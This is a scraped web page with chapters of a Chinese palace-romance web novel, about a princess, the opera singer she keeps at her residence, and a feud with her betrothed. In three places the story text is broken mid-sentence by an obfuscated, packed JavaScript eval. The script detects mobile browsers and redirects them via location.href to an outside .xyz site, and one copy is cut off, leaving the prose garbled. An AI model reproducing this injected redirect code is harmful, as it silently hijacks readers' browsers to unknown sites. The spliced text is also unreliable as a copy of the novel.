程怜香垂下眼,笑容里掺进了些自嘲的意味。他早猜到师父或许会生气,却没想到竟然会气自己到这个地步,竟然连宫里买下自己身契的赏钱都不肯花。 “即便是我不想说也怎样?我师父身子不好,平日里买药花销极大。如今戏班里缺了一位青衣,许多戏都要重排,即便打响了名气,能够开箱的日子还不知要到何时。若师父真的不肯用那些赏钱,又能从哪里拿钱买药呢?” 苻庆一愣,她从未想过因为自己将程怜香要走会产生这么多连锁效应,更没想到和春班竟会因此陷入如此窘迫的境地。半晌,苻庆终于找回自己的声音,通过转移话题冲散自己内心的尴尬和愧疚,“我早知道你是个傻子。”说完,又补充道:“你也不用太感激我,说起来我也只不过是怕你以后回不去戏班子,万一真要在公主府讹我一辈子怎么办?” 程怜香又看向窗外,院中只有几盏灯笼的光,眼神中是散不开的悲伤。“我真的,还有可能回去吗?” 苻庆忽然起了歪心思,搬着凳子挤到程怜香身边坐下,“既然回不去了,程怜香,那你不如就从了我罢。” 程怜香一惊,扭过头来才发现自己与苻庆已是咫尺之遥,更要命的是就在刚才回头的工夫,程怜香的脸颊不慎蹭到了苻庆的嘴唇。 “我……”程怜香终于顾不上思考还能不能回去和春班的问题,慌忙捂着脸站起来。 “这次可不怪我了啊。”苻庆连忙举起双手,“是你自己撞上来的。” 程怜香自知理亏,也只能认栽,退后一步和苻庆错开,“公主快别打趣我了,像我这种人哪配得上伺候公主?日后待杜公子与公主完婚,您二人琴瑟和鸣白首到老,才是正道。” 见程怜香竟然能因为害怕自己而忘记刚才的难过,苻庆心中想笑,但还是配合地说道:“好好好,我不碰你了,你过来坐下吧。” 程怜香没有再坐下,反而是深吸一口气后,撩起下摆跪在了苻庆面前。 “我从小被父母卖到戏班,师父养我成人、教我学戏,对我恩重如山。如今我让他老人家蒙羞,不便再出现在他老人家面前惹他生气。所以我斗胆想求公主,能不能帮我给师父买些药送过去?银子就当是我先欠公主的,待日后我出的府去定赚了钱还给公主。” 程怜香此时刚被苻庆亲到脸颊,因为害羞脸上还是红扑扑的,像是一颗熟透了的石榴。耳边的嫩粉色绢花还未摘下,与一双看向苻庆时亮晶晶的眸子相得益彰。苻庆不自觉露出一个笑容,心想怪不得程清秋说程怜香这身打扮是娈童的样子,这样看来这身打扮确实显得程怜香的脸更加娇俏可人,也让苻庆更加心动了。 “这事倒是简单,”苻庆抿嘴一笑,上身向前倾斜,“只是等你出府,早不知猴年马月了。即便本公主是想放印子钱,也不能准你先欠这么久的利息吧?” 程怜香抿着嘴唇想了半天也没想到解决办法,他知道自己的这个提议对于苻庆来说确实没什么吸引力,更不知道此时自己不知所措的样子正中苻庆下怀。 程怜香思来想去,决定还是要先尝试眼前人有无恻隐之心,开口乞求道:“求公主成全。待日后我出府去,定日日在佛前祝祷,求菩萨保佑公主与驸马举案齐眉,早生贵子,白头到老。” “错了。”苻庆站起身但并没有搀扶起程怜香,而是蹲下身让自己与跪着的程怜香一般高,二人视线平齐,正视着彼此的眼睛。 苻庆轻轻开口,声音在程怜香听来仿佛是蛊惑一般,“再猜。” 其实程怜香早就明白自己和苻庆谈条件实在是一件蠢事,他本就一无所有,更别提苻庆是天之骄女,寻常东西根本看不到眼里。左思右想,程怜香局促地发现此时他还能够献出的、作为筹码的东西,竟不过是自己的□□而已,思虑之下只觉得脸颊越来越热。 毫无疑问,程怜香并不想走到这一步,但若是到最后苻庆只想要这一件作为报酬,自己又能怎么办呢?程怜香看向苻庆,对方还是似笑非笑的看着自己,二人之间的距离很近,近到只需要程怜香微微向前便能够亲到苻庆的嘴唇。 之前程怜香能够负隅顽抗,甚至想过在绝望之时用自尽表达抗议。但此时完全不一样了,现在是他有求于苻庆。更何况若自己真的死了,师父又该怎么办呢?又有谁能够在此时出手,帮助和春班度过危机? 唱戏成角儿固然重要,可若是没有师父,他也许早就是路边的一抔黄土了。想到这,程怜香在心中暗自下定了决心。 在苻庆的视角里,她不知道这短短一刹那程怜香能够想过这么多事情,却能够看到程怜香的脸不知为何变得越来越红。通过短暂的沉默拿捏对方的心理是苻庆最喜欢也是最擅长做的事情,因此她并不开口,只是静静等待着。 下一刻,程怜香虽然什么都没说,但却忽然紧紧闭上了眼睛,直挺挺地跪在那里一动不动。 其实程怜香内心紧张极了,他的眉头微微蹙起,手指也无意识地悄悄捏紧了衣服。可以说,他既害怕害怕苻庆接受了自己无声的提议,又害怕苻庆不愿接受。毕竟除此以外他再拿不出别的东西作为交易,再想不到旁的办法了。 到此时,苻庆已经完全猜到了程怜香的意思。她嘴角勾起一个计谋得逞的微笑,玩味地看着跪在地上打算献祭自己完成交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446099|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易的程怜香,甚至能够看到对方的肩膀在微微颤抖。这撩拨起了了苻庆心中的兴致,同时苻庆也不得不承认,程怜香此时这幅任君采撷的样子还挺诱人的。 程怜香闭着眼睛,其他感官便因此更加敏感。他能够感觉到苻庆向前倾来,炽热的呼吸如海浪般一退一进拍打在自己脸上。程怜香感觉自己晃了神,一股从腰椎沿着脊椎攀岩而上的酸意从背后抓住了他。有一瞬间他甚至接受了蛊惑,主动往前抬起了下巴。 但感受到的,只有苻庆向自己嘴唇吹来的一口气。 程怜香睁开眼,眸子中还染着情欲未退的潮红。 苻庆已经和程怜香拉开了距离,此时正笑意盈盈看着他,“若你真想求我,不如改成祈求菩萨庇佑我能够自由自在,长命百岁。” 程怜香看着苻庆笑起来如月牙般的一双眼眸,笑起来朱唇微启,露出两颗虎牙,如小狐狸一般。不知怎么的,忽然觉得心中微动,如一颗石头被投入湖中,泛起层层涟漪。 “快起来吧,我答应你,明日便让松醪亲自去办这件事。松醪是我姨母身边的人,办事最稳妥了,你放心吧。”苻庆扶着程怜香站起身,“至于银子,就当是你今日陪我出门,我赏你的了。” 程怜香还是愣愣地,瞧着苻庆的脸。苻庆被他傻傻的样子逗乐,伸手把程怜香耳边的绢花取了下来。 “今日你师弟说你这身是男宠的打扮,真的假的?” 程怜香终于回过神,后知后觉开始不好意思,低着头不敢看苻庆,“大约是吧,我也不太清楚。” “你不清楚,那你师弟是怎么知道的?”苻庆用指尖戳着手中的绢花花瓣,“我看,你师弟是自己想当没人找他吧?” 程怜香抬头看了苻庆一眼,转身想要到屏风后面换下衣服,可此时室内昏暗,屏风后恰好点一支蜡烛。如此,一会他换衣服的时候身影便会被投在屏风上,不仅没有多恭敬不说,反而更显得暧昧旖旎。 “公主……” 苻庆也看出了程怜香的窘迫,这次反而没逗他。“你休息吧,我回去了。”说完,站起身往外走去,没一会便回了翠华庭。 屋内,松醪刚刚把床铺铺好。见苻庆回来,毫无意外之意,反而立刻招手让屋外等候的婢女伺候苻庆洗漱。 等躺到床上苻庆先嘱咐了松醪想办法为程怜香师父买药送钱一事,等松醪答应下来苻庆才问道:“松醪,你怎么知道我还会回来的?” 松醪轻轻吹灭一支蜡烛,“奴婢自公主十岁时便伺候公主,怎么会不知道公主是个怎样的人。”见苻庆看向自己,松醪走回床边,“公主表面玩世不恭,实则心中却是个极有分寸的人。您要程伶人来,最初也不过是为了表达您的不满。您的目得达到了,自然也就不会再为难程伶人。” 苻庆歪着脑袋想了想,“其实一开始是这样,但后来发现程怜香那个性子,我又觉得要是真的要了他也挺有意思的。只不过今天……他是为了他师父求我。” 看着程怜香跪在那里的样子说不心动是假的,但最终苻庆也不允许自己在这个时候乘人之危。毕竟,程怜香对他师父的拳拳之心旁人不知,难道她苻庆还能不懂吗?若是未来那一日,某人会拿薛贵妃的生命要挟自己,难道她不会像程怜香一样,甘心舍弃自己的尊严、付出自己的一切吗? 说到底,她和程怜香不过是一类人。从小失去父母,仰仗着这唯一亲人的爱才能够长大。若她今日用程怜香师父作为要挟让程怜香委身自己,那她还有何面目再回宫见薛贵妃? 松醪明白过来,轻声安慰苻庆道:“程伶人一片孝心,若他师父知道一定会感到欣慰的。” “但愿如此。”苻庆忽然想到今日程清秋说的那些话,“说实话,我从未想过要他进府这件事会惹出这么多波折,还害得他师父被气吐了血,这不是我本意的。” 松醪点头,轻轻为苻庆掖掖被角,“公主,您是金枝玉叶,程伶人却只是普通百姓。有些事于您来说,只是随口一提,可对于程伶人来说,却是人生都大变样了。” 苻庆忽然想起程怜香跪在地上与自己四目对视的样子,他的眼睛是那么亮,仿佛能从里头照出自己的倒影来。 “我知道了。等以后放程怜香出府时我一定给他一大笔钱,还要帮他在京城打出招牌,让他不会被任何人瞧不起。” 松醪欣慰地笑一笑,转身走出了房间。 10. 恶果 前半夜翻来覆去没睡好,苻庆一口气睡到日上三竿,醒过来都快要吃午饭了。看着松醪有些无奈却还是仔细为自己画眉毛的样子,苻庆终于感觉到在宫外居住是一件多么幸福的事情。怪不得那些皇子一到年纪便迫不及待地往外跑,原来这就是传说中的自由的味道。 由于已经临近午饭时间,苻庆没有再吃那顿被小厨房热了又热的早饭,只是吃了几块栗子酥垫肚子,打算等到中午一块大快朵颐。谁知正吃着栗子酥,忽然看见一个小婢女慌慌张张从外头跑进来。 “公主,宫里派人过来了。” “宫里?”苻庆第一反应是姨母派人来看自己过得怎么样,转念一想不对,有松醪这么大一个奸细不用,姨母何必还要再派人看自己做出冠冕堂皇的样子。此时才回过神来,完蛋,大概是皇上派人过来了。 紧走几步到花厅,果然看见一个小公公站在门内。苻庆嘴里还嚼着栗子酥咽不下去,只能含糊着说道:“公公辛苦。” 小公公不在意苻庆的奇怪举动,只是把袖中的诏书展示出来,“苻庆公主,请您接旨吧。” 接旨?苻庆脑子还没想明白,腿已经先跪了下去。 “奉天承运,皇帝诏曰,公主苻庆不日即将成婚,现特指派宫中教养嬷嬷邓氏入公主府,教□□诸多礼仪。钦此。” 苻庆皱着眉头接过圣旨,心里此时充满了疑惑。虽说她确实被赐婚,但婚期未定。更何况宫中被赐婚后等了三五年都不会成婚的人大有人在,怎么到她这皇上就如此着急?不过好歹这会终于将嘴里的栗子酥咽了下去,苻庆字正腔圆地说道:“儿臣接旨。” 小公公让开,一个身着绛紫色宫服的嬷嬷走了上来。 “公主,这位就是邓嬷嬷。” 邓嬷嬷向苻庆躬身行礼,“奴婢见过公主。” 这时苻庆才忽然想起来这位邓嬷嬷是谁。她原先曾做过皇上身边的奉茶女官,后又奉旨到东宫照顾太子,也就是苻庆的堂弟七皇子,可以说算得上皇帝的心腹之一了。 “原来是邓嬷嬷,您的礼我可是不敢受的。”苻庆点头致意。 小公公见双方搭上了话,自觉任务已经完成,便立刻告辞回宫了。 苻庆道过谢后,先吩咐婢女为邓嬷嬷选了一间较为僻静的小院居住。接着自己与松醪先回到了翠华庭。 “这究竟是怎么回事啊?我的好日子才过了几天啊?” 松醪看着苻庆躺在美人榻上,忽然想到昨日苻庆给自己讲的事情,暗道不好,“公主,您说不会杜公子真去陛下面前参了您一本吧?” “什么?”苻庆坐起身,“可是我昨日明明是小厮扮相,还说是替我们家公子出的头。冤有头债有主,杜至善即便告状也是告别人,为什么反而找我的不是呢?” 松醪也搞不清楚情况,只是说道:“若公主准许,奴婢下午便回宫一趟。” 苻庆想了想,最终还是摇头,“若此事真与姨母有关,你此时进宫难逃一顿板子。可若是与姨母无关,邓嬷嬷上午刚入府下午我便让你入宫打探消息,实在太明目张胆了。不妥不妥。” 松醪点点头,“公主说得有理。咱们也可以暂时等候,毕竟若此事真的与贵妃娘娘无关,娘娘一定会想方设法为我们传递消息的。” 苻庆点头,重新躺下。本来想着中午大吃一顿也因为这件事情没了兴致,不论松醪怎样劝最后都只是吃了半碗米饭。 用过午饭,松醪从角门接到薛贵妃从宫内递出来的消息。 “你说,杜至善参了程怜香?”苻庆瞠目结舌,今天接旨后她想过无数可能,就没想到杜至善会选择将矛头对准程怜香,“杜至善疯了吗?他作为一个国子监博士,哪有参平民百姓的道理?” “可问题在于如今程伶人入了公主府,那便是公主的人了。杜公子无权越过公主处置公主的人,却可以借机参公主一个管教不严的罪过。贵妃娘娘说正因此,陛下才派了邓嬷嬷过来,要教导公主为人妻的规矩呢。” “我?”苻庆皱眉,一脸疑惑,“关我什么事啊?难道就因为程怜香是在他之前入府的,他还真吃醋了?可他即便吃醋又能怎样?程怜香是陛下赐给我的,他有什么资格在这说三道四?” 松醪本来很紧张,听了苻庆的话后又感到好笑,一时间哭笑不得很是无奈,最后只能长叹一口气,“公主,娘娘说杜公子昨日在雅集上平白无故遭了殴打,揣测是程伶人找人做的。陛下大怒,一开始说要处置程伶人,后来杜公子又说程伶人是公主府的人,程伶人犯错便是公主犯错,理应惩罚公主才是。” “什么!”苻庆怒火中烧,一把将桌上的茶杯都摔在了地上。“好他个杜至善!我昨日没下死手对他已是仁至义尽,他不感激我便罢了,如今竟然敢在背后阴我!我生平最恨就是别人在我背后使绊子!” 松醪连忙轻声安抚苻庆,“公主莫急,稍安勿躁。如今邓嬷嬷已经入了公主府,难保不会把看到的听到的入宫告诉陛下,您可要仔细说话啊。” 苻庆终于想起府中还有这么一尊大佛,赶紧问道:“邓嬷嬷如今住在哪个院子里?” “我本想将邓嬷嬷安置在挨近后花园的院子中,那处僻静、离翠华庭也远。可嬷嬷不愿意,最终在咱们翠华庭后头的平野居住下了。” “平野居?”苻庆反应了一会,“那里不是离翠华庭很近吗?” “是啊,最要命的是平野居屋后有一条小路,能直接通到咱们翠华庭中。” 苻庆猛地站起身,焦躁地在原地转起了圈子,嘴里说道:“不过了,这日子是不过了。我回宫好不好?” 松醪叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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眼见着邓嬷嬷走出屋子,苻庆面上的笑容一秒钟归于无形。 松醪走上前,“公主。” 苻庆把书扔在桌子上,表情看起来有些阴沉,“看来这位邓嬷嬷是要动真格了。” “如今陛下还在气头上,公主稍安勿躁,待过些日子贵妃娘娘一定会帮公主说好话的。” “过些日子?”苻庆看向松醪,“松醪,你不会以为我真要听她的,在府中乖乖学三从四德吧?” 松醪有些惊讶,“公主的意思是?” 苻庆活动活动脖颈,早在刚才邓嬷嬷对她说话的时候,她的脑子就已经想好了一条对策,“我记得平野居在翠华庭西南方,虽说离咱们是近,可若是离揽晴轩可就隔着远了。” “揽晴轩与咱们还隔着一道小门呢,有翠华庭阻断,确实离着就远了。”松醪说完才意识到苻庆打算做什么,一时间又有些后悔自己嘴太快,“可是公主,这样恐怕不太好吧?” “这有什么不好的?陛下给我赐婚我都敢当众要面首,便是没想过给杜至善面子。如今他竟然敢暗算我,我自然要好好表现让他看看了。”说完,苻庆站起身,“松醪,快把院子中的婢女都叫进来,我要把所有我能用到的东西统统搬到揽晴轩去!” 11. 往昔 下午是程怜香练习基本功的时候,程怜香本来正站在院子中练习台步,忽然听见院子外一阵嘈杂。他今日也听说了皇上派了嬷嬷到公主府教导苻庆规矩的消息,一面想着这样也许苻庆就没时间招惹自己,一面又有些担心平日无法无天惯了的苻庆会不会不适应。因此,便站到院门口向外张望起来。 苻庆一抬头便看见了站在院门口探头探脑的程怜香,高兴地对他挥手。“程怜香!” 程怜香先是意外苻庆又过来探望自己,尔后才看到苻庆后面抱着各种日常用品的侍女们,忽然觉得有些不妙。 苻庆走进院子后大手一挥,“你们赶紧去收拾吧。”接着拉程怜香走到一边抄手游廊下。 “唱曲呢?”苻庆笑眯眯地看着程怜香。 程怜香感觉心里发毛,他今日为了练习特意换上了戏服,只是脸上未加妆扮。“只是练□□这是要做什么?” 苻庆的表情很自然,语气就像是在说一件稀松平常的小事,“跟你说一声,日后我就要住到你院子里来了。” “你说什么?”条件反射般,程怜香立刻往后退了一步,侧过身子做出自我保护的架势,有些警惕地看着苻庆,生怕对方会忽然做出什么出格的举动。 程怜香的动作让苻庆有些无语,至于吗?她又不是老虎狮子,难道还能吃了他不成?“你先别着急,你以为我是自己想住过来的?”苻庆撇嘴,“陛下给我派了个眼线来府里,我不愿应付,思来想去只能躲在你的院子里才有几天安稳日子了。” 程怜香这才联想到宫中派嬷嬷到公主府的事情,明白苻庆此举的意思,心又重新安放回肚子里。“那你这样做,不会触怒陛下吗?” 苻庆没想到程怜香的第一反应会是这个,心里又起了想逗一逗程怜香的想法,故意伸出手指挑弄了一下程怜香的下巴,笑着问道:“怎么?你是关心我?” 程怜香不说话,只是从鼻子哼了一声,算作对于苻庆的回答。 程怜香穿着戏装,虽未扮相却也十分貌美,现在还这般欲说还休地嗔怪一声,苻庆心满意足,继续说道:“你放心,我虽是公主,却只是冒牌的,宫里的规矩困不住我。陛下也知道与其想方设法让我安安分分做一个木头玩偶,还不如任我胡闹来得简单,反正最终我只要与杜至善安安稳稳成了亲,我的任务便算完成了。至于婚后过成什么样,陛下才不会管。当然,若那杜至善真的聪明便也不会管的。” 程怜香却被苻庆的话惊到,在他的认知中为女子寻找一门婚事是十分重要的事情,父母长辈无论如何都要左右比较多次,最终才能够拍板确定。“你怎么敢这么确定陛下不会管你,难道陛下为你赐婚不应当是为你后半生找一个依靠吗?” 在苻庆听来这却像是什么天大的笑话,笑着回答:“那是寻常人家的事情。对于皇宫中的公主来说,成婚最大的作用便是帮助皇上笼络各方势力,譬如我如今便是帮助陛下笼络文官势力。” 程怜香迟疑,“可你那日不是说陛下是你姨夫吗?” “便是父亲又有何用?本朝还有将公主远嫁边塞与辽人和亲的案例呢,难道那位公主便不是皇帝的女儿了?”苻庆毫不在意。自她十岁入宫,这么多年过去了,她早已经学会平静地接受自己的命运。她早就明白,那个人有时会成为她的姨夫,但大多数时候都是大夏国的皇帝。并且,这其中的转变并不由苻庆说了算,更由不得薛贵妃。 可能在他偶尔想要享受天伦之乐的时候,他就是苻庆的姨夫,他会给苻庆赏赐许许多多的珍宝;可在他板起脸的时候,在他想要更多利益的时候,他就是大夏国的皇帝,而苻庆和薛贵妃能做的,便只有跪在地上服从。 “这……”程怜香一时语塞。在他看来,苻庆说的话是极其可怜的,本身生长在诺大的皇宫中已是不易,成年后能够借成婚逃离皇城本是好事,最终却还逃不过成为政治工具的命运。“可是这样的人生不会太可怜了一些吗?” 苻庆歪着脑袋,好像在仔细琢磨程怜香的话。 就如同一开始程怜香说她不懂得理想抱负,其实可不可怜这件事苻庆并未想过。在她看来,她需要做出的这些牺牲其实是天经地义的。皇上给了她尊贵荣耀、给了她衣食无忧的生活,她就要给予皇上一些力所能及的回报。自古至今,公主对于皇帝来说最大的作用,好像就是可以作为一个女人嫁给别人。除此以外,再找不到别的办法。 “可是这是从古至今所有公主的结局啊?那总不能说我们这些做公主的个个都可怜吧?” 程怜香神色郑重,他耳朵里听到的是苻庆的话,却又好像看到的是自己。“如果真的是像你说的这样,女儿的终身大事最终也比不过父亲手里的政治权力重要。那我觉得,即便是说这从古至今的每一位公主都可怜也不为过。” 苻庆呆住,看着程怜香认真的模样,第一次对自己一直以来深信不疑的观念产生了一丝动摇。 “公主天生又没有什么错,和寻常人家的女儿也没什么区别。为什么就要牺牲自己的终身幸福做她父亲手中的一颗棋子呢?这不公平。”程怜香越发愤愤不平,“这世上,只有还有没得选的人,就都是不公平的。” 苻庆对着程怜香说的最后一句话琢磨半天,一句话在嘴里翻来覆去重复几遍,忽然反应过来,“程怜香,我怎么忽然感觉你这最后一句话不像是替我说的,倒反而像是在骂我呢?” 看来还是被苻庆琢磨出来了,程怜香瞥了苻庆一眼,也没有客气,“确实本来将你也骂进去了,只是如今才发现你也怪可怜的,姑且先把你择出来吧。” 苻庆看着程怜香凶巴巴的样子只觉得好笑,一点也不生气,反而嬉皮笑脸地说道:“既然如此,那我先谢谢程老板了。” 程怜香哼了一声,转头看见松醪在院子内忙里忙外,忽然想起来正事。“那你这几日要怎么住啊?” “自然是要住到你屋里。”苻庆大言不惭,“万一邓嬷嬷真的来揽晴轩查看,我也不能骗她不是?” 程怜香想拒绝又找不到法子,最后只好同意下来,“那我日后便去美人榻上休息就是。只是一件事,半夜不许吓唬我。” “谁敢吓唬你?”苻庆摆摆手,“你也不用担心这个,眼见着天气一日日暖和了,我在暖阁睡就行。” 程怜香想起来屋子里头的暖阁,确实空间宽敞。暖阁中本身摆着一张小床,只是没人动过,但到底也是洁净的。 “行吧,既然你不用来打扰我,我也不会把你赶出去了。” “你赶我?”苻庆被程怜香俨然一副揽晴轩主人自居的样子就想笑,退后几步抱胸坐在游廊下的扶手上,“程怜香,有时候我真是奇怪,咱俩到底谁是公主?” 程怜香也知道自己在苻庆面前常有僭越,但苻庆一直包容自己,已是仁至义尽。但嘴上还是不服输,“你都说了,你不过是冒牌的公主。若你真是皇室血脉,我自然就不敢冒犯了。” “也对。”苻庆自言自语,“我们苻家既非皇亲国戚,也不是世家大族。从前在边关的时候,我们家仆从很少,我娘还时常带着我出去自个买菜呢。” 程怜香从来没听过苻庆讲起家里人,他平日里虽说如普通百姓一般知道苻坚将军的名讳,但到底因为苻坚将军长年驻守边关,在京中时间不长,因此底下百姓对苻家了解并不多。 “你家在边关不是大将军吗?怎么会没有仆从呢?” 苻庆被这句话勾起了回忆,她出生在锦西城,在锦西城长大。也许对于旁人来说,那是天冷苦寒的边塞之地,是流放犯人才会去到的地方。但对于苻庆来说,那是她的故乡,是她如今只有在午夜梦回时才能够再回去的地方。那里或许没有锦衣玉食的生活,冬日里甚至吃不上一口新鲜的蔬菜,但那里有爹娘,还有她的家。 苻庆歪着脑袋想了好一会才笑着回答:“你以为边关百姓都如同京中百姓,还在乎什么身份脸面?虽说在府中做奴婢能够吃穿不愁,但到底需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446101|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日日围在主人身边。再说,在边关即便你再有钱,想穿绫罗绸缎吃山珍海味也是没有的啊。冬日里,我们若想吃口蔬菜都是很难的,将军家和平民百姓家没有区别。” 程怜香第一次听说边关的样子,很是好奇,“那这么说,你们冬日很冷喽?” “当然很冷。我知道了,你一定没见过那种遮天蔽日的大雪吧。”苻庆越说越起劲,好像真的回到了锦西城的冬日里,“在边关一入了冬便会下大雪,天地之间银装素裹、白雪皑皑。我们会在院子里堆雪人,还会把柿子埋在雪地里冻住,回去啃着当酥山吃。” “这么有趣?”程怜香小时候被父母卖给戏班,自此之后再也没离开过京城。京城的雪很是金贵,有时候一个冬天都见不到一场。“那,那你们感觉不到冷吗?” “冷啊,但我们都有狐裘穿。我爹有时候进山打猎,能猎到狐狸,带回来吃了肉,皮毛就做成裘衣,可暖和了。”苻庆伸手比划着,“我那件狐裘现在还在宫里呢,只是已经小了,穿不上了。改日拿回来让你看看。” 程怜香看着苻庆眉飞色舞、兴高采烈的样子,忽然意识到也许对于苻庆而言,皇宫中的锦衣玉食便如同边关百姓眼中进富贵人家做奴婢一样,山珍海味也远没有边关的冻柿子好吃。 “公主,那日我情急之下说错了话,说你是丧……我对不起你,我羞辱了你,也羞辱了苻将军。虽说我们京中百姓对苻坚将军并不怎么了解,但我们也知道苻坚将军是为我们驻守边关的大将,他用生命换回了让我们活下来的机会。”程怜香越说越有些不好意思,只觉得脑袋都有点抬不起来 反而是苻庆被程怜香的正襟危坐弄得有些手足无措。“算了,你说得已经不算难听了。你看朝堂上那些人,他们可真是跟我爹刀枪血雨里走出来的,难道说话的时候便客气过吗?罢了。” 程怜香那日是见识过了,心中替苻庆感到不是滋味,只能微笑着说:“好歹符将军的一身武艺没有失传。” “武艺?”苻庆忽然看向程怜香,她的眸子微微眯起来。程怜香说不上来那个感觉,只觉得那一瞬间的苻庆有些可怕,像是看到了猎物的野兽。“你几时知道我会武艺?” “你难道不会?”程怜香怕自己说错了话,继续解释道:“我听说你不是昨日教训了杜公子一顿吗?难道你不会武艺?” “你说这个啊?就踢他几脚的事,还需要什么武艺?”苻庆一笑,刚才的眼神也瞬间土崩瓦解,好像从不曾存在过。 程怜香只当是自己看错了,毕竟他现在有了另一件更惊讶的事情,“这么说,你真的一点武功都不会吗?民间传说符将军有一道家传独门武艺,难道你也没有学来?” 苻庆没想到自家的砍马刀居然已经闻名到了京城民间,面上露出一个微笑。那是她父亲苻坚将军独创的刀法,也正是这个刀法抵挡住了战无不胜的辽国骑兵,让大夏国在燕云十六州都被夺走的情况下,依靠边境一座叫锦西的小城守住了国门。只可惜,苻坚将军只有她一个独生女,而她一个女流之辈又怎么会学到苻家的独门武艺呢? 苻庆收回思绪,抬头看向程怜香,一字一句全是坦诚。“让你们失望了,我是个女子,怎么会学到我们家的独门武艺呢?” 程怜香这才意识到自己大约又戳到了苻庆的伤心之处,连忙想转移话题,思来想去忽然看到自己身上穿着的戏服,只能笨拙地开口问道:“你想不想听我唱戏?” 这个提议确实正中苻庆下怀。虽说程怜香如今被她抢回府上,但自从生辰宴结束两人光忙着斗法,反而再也没机会认真听程怜香唱一折。苻庆是真的喜欢听程怜香唱戏,也是发自肺腑觉得他唱得好,此时眼前一亮,“好啊。” 程怜香点头,走回院子中,轻轻抖落水袖,为苻庆唱了一曲《白蛇传》选段。 “莫叫我望穿秋水~想断柔肠……” 苻庆看着程怜香莲步款款,嗓音曼妙,脑子里忽然又想出一个新的招数。 12. 名声 一曲唱罢,松醪那边也已经收拾妥当,走过来向苻庆禀告。 “松醪,我刚才想出来一个主意。昨日我不是跟你说让你想方设法给程怜香的师父送钱买药吗?但是咱们若想平白无故把钱送过去,实在是有难度不说,还要费周折。不如,咱们找个人从中帮忙,和他们戏班子直接做笔买卖,到时候咱们多给他们些钱不就是了?” 松醪点头,“这个法子好。公主,您想和戏班子做什么买卖呢?” 苻庆看了一眼站在一旁的程怜香,心里却已经开始幻想程怜香穿上新衣服是什么样子。“你找个人扮作普通商人,告诉他们戏班子我们要买一箱子戏服和盔头,不必在意钱,要做的越精致越好,越富贵越好。为表诚意,我们可以先付给他们一半定金。” 松醪终于明白了苻庆的想法,脸上浮现出一个微笑。“公主放心,奴婢一会便去寻人,一定不教程伶人的师父发现端倪。” 松醪走后,苻庆倚在游廊的坐凳栏杆上,舒舒服服地倒下,仰面眯着眼看游廊顶上的装饰画。 程怜香听了这一会,脑子怎么转怎么感觉不对劲。虽说苻庆确实按照他所要求的给师父送去了钱,但看她们主仆两个的表情,又怎么看怎么觉得她俩好像已经做好计划要图谋什么。 程怜香走上前,俯下身子看向苻庆,眼睛中闪着狐疑,“我怎么觉得这件事被你筹划的好像有什么猫腻似的。” 苻庆本来也不打算隐瞒,见程怜香已经反应过来,干脆翻了个白眼破罐破摔说道:“反正你目的达到了不就好了?”说完,见天色还早,对程怜香催促道:“你别闲聊了,快,再唱一曲。” 后来邓嬷嬷果然没往揽晴轩来,苻庆在揽晴轩暖阁舒舒服服躺了十天,程怜香就在揽晴轩兢兢业业唱了十天。这十天里,金贵的戏服与盔头如流水一般送入了公主府。苻庆每日都让程怜香换上好看的衣服,装饰好盔头,在院中浅唱低吟。揽晴轩与平野居相隔不远,唱曲的声音自然能够传过去。苻庆一开始还与松醪打赌邓嬷嬷能在府中待多久,没想到邓嬷嬷如此能等,害得苻庆赔进去十两银子和一支青玉簪。 在意识到邓嬷嬷自己不会离开以后,苻庆又寄希望与皇上能够在接到消息后把邓嬷嬷召回宫去,谁知道左等右等,邓嬷嬷回宫的消息没等来,苻庆在公主府夜夜笙歌、风流成性的消息反而已经传遍了京城中大街小巷。苻庆倒是不在意,她从小到大被人戳脊梁骨的时候可多了,如今早已习以为常。反而是程怜香,在知道自己在京城中的人设已经可以和祸国殃民的妲己和褒姒相提并论后,开始有些担心日后自己究竟还能不能走出公主府。 而另一边,一个同样与苻庆有关系的男人家中也已经乱成了一团。 入夜,杜府主屋内灯火通明,不时传出妇人嚎啕大哭的声音。 主屋内,杜夫人正抱着自己儿子的胳膊哭得声泪俱下。 “儿啊!我苦命的儿啊!这究竟可怎么办啊!” 杜夫人本就对皇上这次的赐婚并没有好感,对于苻庆这个假的公主更不买账。在她眼里,自己儿子即便是皇上的嫡出公主都能够配得上,如今只能娶一个没有皇室血统的公主已经是受了委屈,谁知这个公主还如此放浪形骸,竟然在公主府中公然豢养男宠,把整个京城中闹得沸反盈天。在杜夫人看来,自己儿子如今已经成了满京城的笑柄,此时自然难过不已。 反观真正的受害者杜至善,却好像此事与他无关。此时只是面色冷漠,微微躬着身站立着,好让母亲能够挎到自己的肩膀,不至于哭着哭着摔倒在地上。 “好了,好了!”拄着拐杖站在一旁的杜太傅有些无奈,他早已经被自己夫人哭得心烦意乱,轻声训斥道:“府中上下多少下人看着呢,你还要闹到什么时候?” “闹到你愿意到皇上面前,去求皇上取消这门婚事!”杜夫人毫不退缩,咬着牙对杜太傅说道。 